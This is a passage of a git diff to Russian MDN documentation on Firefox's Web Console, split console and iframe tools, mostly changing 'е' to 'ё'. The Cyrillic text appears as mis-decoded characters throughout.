<span>ΠΏΠ΅Ρ€Π΅Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅</span></span><span lang="ru"><span> Π² порядкС вычислСнным расчСтом стиля</span><span> Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΡΡ</span><span>.</span> <span>НапримСр</span><span>, ΠΊΠΎΠ΄</span><span> ΠΊΠ°ΠΊ</span> <span>этот Ρ…ΠΎΡ‡Π΅Ρ‚Β  Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ</span> <span>Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎΠ΅</span><span>,</span> <span>синхронноС</span><span>,</span> </span><span id="result_box" lang="ru"><span>ΠΏΠ΅Ρ€Π΅Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅</span></span><span lang="ru"><span>,</span> <span>ΠΊΠΎΠ³Π΄Π° Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚</span></span> <code>window.getComputedStyle(thing).height</code>:</p>
+<p><span id="result_box" lang="ru"><span>Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅</span><span>,</span> <span>Ссли</span> <span>ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ</span> <span>JavaScript ΠΊΠΎΠ΄</span> <span>Ρ‡ΠΈΡ‚Π°Π΅Ρ‚ Ρ‡Ρ‚ΠΎ</span> <span>ΡΡ‚ΠΈΠ»ΡŒ</span><span> Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½</span><span>,</span> <span>Ρ‚ΠΎ</span> <span>Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½</span> <span>Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ</span> <span>синхронноС</span> <span>ΠΏΠ΅Ρ€Π΅Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅</span></span><span lang="ru"><span> Π² порядкС вычислСнным расчётом стиля</span><span> Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΡΡ</span><span>.</span> <span>НапримСр</span><span>, ΠΊΠΎΠ΄</span><span> ΠΊΠ°ΠΊ</span> <span>этот Ρ…ΠΎΡ‡Π΅Ρ‚Β  Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ</span> <span>Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎΠ΅</span><span>,</span> <span>синхронноС</span><span>,</span> </span><span id="result_box" lang="ru"><span>ΠΏΠ΅Ρ€Π΅Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅</span></span><span lang="ru"><span>,</span> <span>ΠΊΠΎΠ³Π΄Π° Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚</span></span> <code>window.getComputedStyle(thing).height</code>:</p>
<pre class="brush: js notranslate">var thing = document.getElementById("the-thing");
thing.style.display = "inline-block";
@@ -275,7 +275,7 @@ var thingHeight = window.getComputedStyle(thing).height;</pre>
</tbody>
</table>
-<p><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=863874">Bug 863874</a> <span id="result_box" lang="ru"><span>это</span> <span>ΠΌΠ΅Ρ‚Π°-</span><span>ошибка</span> <span>для рСгистрации</span> <span>ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ…</span> <span>сообщСний ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°Ρ… бСзопасности</span> <span>Π² Π²Π΅Π±-консоль</span><span>.</span> <span>Если Ρƒ вас Π΅ΡΡ‚ΡŒ</span> <span>ΠΈΠ΄Π΅ΠΈ для</span> <span>ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ…</span> <span>Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ</span> <span>Ρ‚Π΅, Ρ‡Ρ‚ΠΎ</span> <span>обсуТдаСмыС здСсь</span><span>,</span> <span>ΠΈΠ»ΠΈ заинтСрСсованы</span> <span>Π² содСйствии</span><span>, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅</span> <span>ΠΌΠ΅Ρ‚Π°-ΠΎΡˆΠΈΠ±ΠΊΡƒ</span> <span>ΠΈ Π΅Π΅ зависимости</span><span>.</span></span></p>
+<p><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=863874">Bug 863874</a> <span id="result_box" lang="ru"><span>это</span> <span>ΠΌΠ΅Ρ‚Π°-</span><span>ошибка</span> <span>для рСгистрации</span> <span>ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ…</span> <span>сообщСний ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°Ρ… бСзопасности</span> <span>Π² Π²Π΅Π±-консоль</span><span>.</span> <span>Если Ρƒ вас Π΅ΡΡ‚ΡŒ</span> <span>ΠΈΠ΄Π΅ΠΈ для</span> <span>ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ…</span> <span>Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ</span> <span>Ρ‚Π΅, Ρ‡Ρ‚ΠΎ</span> <span>обсуТдаСмыС здСсь</span><span>,</span> <span>ΠΈΠ»ΠΈ заинтСрСсованы</span> <span>Π² содСйствии</span><span>, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅</span> <span>ΠΌΠ΅Ρ‚Π°-ΠΎΡˆΠΈΠ±ΠΊΡƒ</span> <span>ΠΈ Π΅Ρ‘ зависимости</span><span>.</span></span></p>
<h3 id="БообщСния_консоли_API"><span class="short_text" id="result_box" lang="ru"><span>БообщСния</span> <span>консоли API</span></span></h3>
@@ -548,7 +548,7 @@ console.trace();</pre>
<p><img alt="" src="https://mdn.mozillademos.org/files/7375/commandline-autocomplete.png" style="display: block; margin-left: auto; margin-right: auto;">НаТмитС <kbd>Enter</kbd>Β ΠΈΠ»ΠΈΒ <kbd>Tab</kbd>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ Π½ΡƒΠΆΠ½ΡƒΡŽ подсказку, ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°ΠΉΡ‚Π΅ΡΡŒ Π²Π²Π΅Ρ€Ρ…/Π²Π½ΠΈΠ· с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ стрСлок ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠΌ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π°ΠΌ подсказок ΠΈΠ»ΠΈ просто ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°ΠΉΡ‚Π΅ Π½Π°Π±ΠΈΡ€Π°Ρ‚ΡŒ тСкст, Ссли Π’Π°ΠΌ Π½Π΅ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ Π½ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ².</p>
-<p>Консоль Π²Ρ‹Π΄Π°Π΅Ρ‚ подсказки ΠΈΠ· области видимости Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ Ρ„Ρ€Π΅ΠΉΠΌΠ°. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ Ссли Π’Ρ‹ ΡƒΠΆΠ΅ достигли Ρ‚ΠΎΡ‡ΠΊΠΈ останова Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚ΠΎ Ρƒ Вас Π±ΡƒΠ΄ΡƒΡ‚ доступны автоподстановки Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ находятся Π² ΠΎΠ΄Π½ΠΎΠΉ области видимости с этой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ.</p>
+<p>Консоль Π²Ρ‹Π΄Π°Ρ‘Ρ‚ подсказки ΠΈΠ· области видимости Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ Ρ„Ρ€Π΅ΠΉΠΌΠ°. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ Ссли Π’Ρ‹ ΡƒΠΆΠ΅ достигли Ρ‚ΠΎΡ‡ΠΊΠΈ останова Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‚ΠΎ Ρƒ Вас Π±ΡƒΠ΄ΡƒΡ‚ доступны автоподстановки Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ находятся Π² ΠΎΠ΄Π½ΠΎΠΉ области видимости с этой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ.</p>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ ΠΆΠ΅ подсказки для элСмСнтов массива:</p>
@@ -568,18 +568,18 @@ console.trace();</pre>
<h3 id="Π Π°Π±ΠΎΡ‚Π°_с_iframes">Π Π°Π±ΠΎΡ‚Π° с iframes</h3>
-<p>Если страница содСрТит встроСнныС <a href="/ru/docs/Web/HTML/Element/iframe">iframes</a>, Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ <code>cd()</code> Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости Π² консоли Π½Π° ΠΎΠ±Π»Π°ΡΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ iframe, ΠΈ послС этого Π’Ρ‹ смоТСтС Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ содСрТит ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <a href="https://developer.mozilla.org/ru/docs/Web/API/Document">document</a> Π² этом iframe. БущСствуСт Ρ‚Ρ€ΠΈ способа Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ iframe ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ <code>cd()</code>:</p>
+<p>Если страница содСрТит встроСнныС <a href="/ru/docs/Web/HTML/Element/iframe">iframes</a>, Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ <code>cd()</code> Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости Π² консоли Π½Π° ΠΎΠ±Π»Π°ΡΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ iframe, ΠΈ послС этого Π’Ρ‹ смоТСтС Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ содСрТит ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <a href="https://developer.mozilla.org/ru/docs/Web/API/Document">document</a> Π² этом iframe. БущСствуСт Ρ‚Ρ€ΠΈ способа Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ iframe ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ <code>cd()</code>:</p>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ DOM-элСмСнт для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ iframe :</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ DOM-элСмСнт для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ iframe :</p>
<pre class="brush: js notranslate">var frame = document.getElementById("frame1");
cd(frame);</pre>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ CSS сСлСктор для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ iframe:</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ CSS сСлСктор для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ iframe:</p>
<pre class="brush: js notranslate">cd("#frame1");</pre>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <a href="https://developer.mozilla.org/ru/docs/Web/API/Window">Window</a> для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ iframe:</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <a href="https://developer.mozilla.org/ru/docs/Web/API/Window">Window</a> для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ iframe:</p>
<pre class="brush: js notranslate">var frame = document.getElementById("frame1");
cd(frame.contentWindow);
@@ -623,7 +623,7 @@ cd(frame.contentWindow);
<p>БСйчас Π’Ρ‹ смоТСтС Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <a href="https://developer.mozilla.org/ru/docs/Web/API/Window">Window</a> это Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ наш iframe:</p>
-<p><img alt="" src="https://mdn.mozillademos.org/files/7355/web-console-iframe-document.png" style="display: block; height: 75px; margin-left: auto; margin-right: auto; width: 632px;">ΠΈ смоТСтС Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π²Ρ‹Π·ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ Π² этом iframe:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/7355/web-console-iframe-document.png" style="display: block; height: 75px; margin-left: auto; margin-right: auto; width: 632px;">ΠΈ смоТСтС Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π²Ρ‹Π·ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ Π² этом iframe:</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/7357/web-console-iframe-function.png" style="display: block; height: 77px; margin-left: auto; margin-right: auto; width: 632px;"></p>
diff --git a/files/ru/tools/web_console/split_console/index.html b/files/ru/tools/web_console/split_console/index.html
index 8085c9a199..11573ae938 100644
--- a/files/ru/tools/web_console/split_console/index.html
+++ b/files/ru/tools/web_console/split_console/index.html
@@ -5,14 +5,14 @@ translation_of: Tools/Web_Console/Split_console
---
<div>{{ToolsSidebar}}</div>
-<p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ консоль вмСстС с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ инструмСнтами.</span></span> <span class="ChMk0b JLqJ4b"><span>ΠΠ°Ρ…ΠΎΠ΄ΡΡΡŒ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ инструмСнтС ΠΏΠ°Π½Π΅Π»ΠΈ инструмСнтов, просто Π½Π°ΠΆΠΌΠΈΡ‚Π΅ ΠΊΠ»Π°Π²ΠΈΡˆΡƒ <kbd>Esc</kbd> ΠΈΠ»ΠΈ Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ Β«ΠŸΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ консоль» Π² мСню ΠΏΠ°Π½Π΅Π»ΠΈ инструмСнтов.</span></span> <span class="ChMk0b JLqJ4b"><span>ПанСль инструмСнтов Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π°, с исходным инструмСнтом Π²Π²Π΅Ρ€Ρ…Ρƒ ΠΈ Π²Π΅Π±-консолью Π²Π½ΠΈΠ·Ρƒ.</span></span></span></p>
+<p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ консоль вмСстС с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ инструмСнтами.</span></span> <span class="ChMk0b JLqJ4b"><span>ΠΠ°Ρ…ΠΎΠ΄ΡΡΡŒ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ инструмСнтС ΠΏΠ°Π½Π΅Π»ΠΈ инструмСнтов, просто Π½Π°ΠΆΠΌΠΈΡ‚Π΅ ΠΊΠ»Π°Π²ΠΈΡˆΡƒ <kbd>Esc</kbd> ΠΈΠ»ΠΈ Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ Β«ΠŸΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ консоль» Π² мСню ΠΏΠ°Π½Π΅Π»ΠΈ инструмСнтов.</span></span> <span class="ChMk0b JLqJ4b"><span>ПанСль инструмСнтов Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π°, с исходным инструмСнтом Π²Π²Π΅Ρ€Ρ…Ρƒ ΠΈ Π²Π΅Π±-консолью Π²Π½ΠΈΠ·Ρƒ.</span></span></span></p>
-<p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΠΊΡ€Ρ‹Ρ‚ΡŒ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ консоль, снова Π½Π°ΠΆΠ°Π² <kbd>Esc</kbd> ΠΈΠ»ΠΈ Π²Ρ‹Π±Ρ€Π°Π² ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ мСню Β«Π‘ΠΊΡ€Ρ‹Ρ‚ΡŒ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ консоль».</span></span></span></p>
+<p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΠΊΡ€Ρ‹Ρ‚ΡŒ Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ консоль, снова Π½Π°ΠΆΠ°Π² <kbd>Esc</kbd> ΠΈΠ»ΠΈ Π²Ρ‹Π±Ρ€Π°Π² ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ мСню Β«Π‘ΠΊΡ€Ρ‹Ρ‚ΡŒ Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ консоль».</span></span></span></p>
<p>{{EmbedYouTube("G2hyxhPHyXo")}}</p>
<p>Как ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ, <code>$0</code> Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΊΠ°ΠΊ сокращСниС для элСмСнта, Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π² Π˜Π½ΡΠΏΠ΅ΠΊΡ‚ΠΎΡ€Π΅:</p>
-<p><img alt="" src="https://mdn.mozillademos.org/files/6619/web-console-split-inspector.png" style="display: block; margin-left: auto; margin-right: auto;">ΠŸΡ€ΠΈ использовании Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ консоли с ΠΎΡ‚Π»Π°Π΄Ρ‡ΠΈΠΊΠΎΠΌ, ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽ дСйствия консоли являСтся Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ выполняСмый ΠΊΠ°Π΄Ρ€ стСка. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ссли Π²Ρ‹ Π½Π°ΠΆΠΌΠ΅Ρ‚Π΅ Ρ‚ΠΎΡ‡ΠΊΡƒ останова Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΎΠ±Π»Π°ΡΡ‚ΡŒ дСйствия Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽ дСйствия Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Π’Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ Π°Π²Ρ‚ΠΎΠ·Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ для ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΈ смоТСтС Π»Π΅Π³ΠΊΠΎ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΈΡ… Π½Π° Π»Π΅Ρ‚Ρƒ:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/6619/web-console-split-inspector.png" style="display: block; margin-left: auto; margin-right: auto;">ΠŸΡ€ΠΈ использовании Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ консоли с ΠΎΡ‚Π»Π°Π΄Ρ‡ΠΈΠΊΠΎΠΌ, ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽ дСйствия консоли являСтся Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ выполняСмый ΠΊΠ°Π΄Ρ€ стСка. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ссли Π²Ρ‹ Π½Π°ΠΆΠΌΡ‘Ρ‚Π΅ Ρ‚ΠΎΡ‡ΠΊΡƒ останова Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΎΠ±Π»Π°ΡΡ‚ΡŒ дСйствия Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽ дСйствия Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Π’Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ Π°Π²Ρ‚ΠΎΠ·Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ для ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΈ смоТСтС Π»Π΅Π³ΠΊΠΎ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΈΡ… Π½Π° Π»Π΅Ρ‚Ρƒ:</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/6621/web-console-split-debugger.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
diff --git a/files/ru/tools/working_with_iframes/index.html b/files/ru/tools/working_with_iframes/index.html
index c1985d882a..80c09a8ad1 100644
--- a/files/ru/tools/working_with_iframes/index.html
+++ b/files/ru/tools/working_with_iframes/index.html
@@ -13,7 +13,7 @@ translation_of: Tools/Working_with_iframes
<p>{{EmbedYouTube("Me9hjqd74m8")}}</p>
-<p><span id="result_box" lang="ru"><span>Π­Ρ‚Π° функция</span> <span>ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ</span><span>:</span> <span>Ρ‡Ρ‚ΠΎΠ±Ρ‹</span> <span>Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π΅Π΅</span><span>, ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅</span></span> <a href="/en-US/docs/Tools/Tools_Toolbox#Settings">developer tool settings</a> ΠΈ Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ "Select an iframe as the currently targeted document":</p>
+<p><span id="result_box" lang="ru"><span>Π­Ρ‚Π° функция</span> <span>ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ</span><span>:</span> <span>Ρ‡Ρ‚ΠΎΠ±Ρ‹</span> <span>Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π΅Ρ‘</span><span>, ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅</span></span> <a href="/en-US/docs/Tools/Tools_Toolbox#Settings">developer tool settings</a> ΠΈ Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ "Select an iframe as the currently targeted document":</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/8551/frame-selection-setting.png" style="display: block; margin-left: auto; margin-right: auto;"> <span class="short_text" id="result_box" lang="ru"><span>Π’Ρ‹ Π½Π΅</span> <span>ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π½ΠΎΠ²ΡƒΡŽ</span> <span>ΠΊΠ½ΠΎΠΏΠΊΡƒ Π½Π° ΠΏΠ°Π½Π΅Π»ΠΈ инструмСнтов</span><span>:</span></span></p>
diff --git a/files/ru/web/accessibility/aria/aria_techniques/index.html b/files/ru/web/accessibility/aria/aria_techniques/index.html
index 2e29856a5c..192996ad83 100644
--- a/files/ru/web/accessibility/aria/aria_techniques/index.html
+++ b/files/ru/web/accessibility/aria/aria_techniques/index.html
@@ -47,7 +47,7 @@ translation_of: Web/Accessibility/ARIA/ARIA_Techniques
<h3 id="ΠšΠΎΠΌΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½Π½Ρ‹Π΅_Ρ€ΠΎΠ»ΠΈ">ΠšΠΎΠΌΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ</h3>
